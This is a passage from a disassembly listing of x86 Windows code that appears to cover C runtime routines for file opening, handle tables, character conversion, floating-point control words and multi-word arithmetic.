CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 26F0953h mov esi, eax cmp esi, edi jz short loc_423BFD push esi call near ptr 2620248h nop test eax, eax jnz short loc_423C11 push esi nop call near ptr 26518CEh loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 26709C5h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call near ptr 260051Fh nop test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx nop call near ptr 2610000h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2610000h nop jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2810000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2810000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 260051Fh jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 nop call near ptr 2801040h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 nop call near ptr 2810000h test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 nop call near ptr 2810000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov 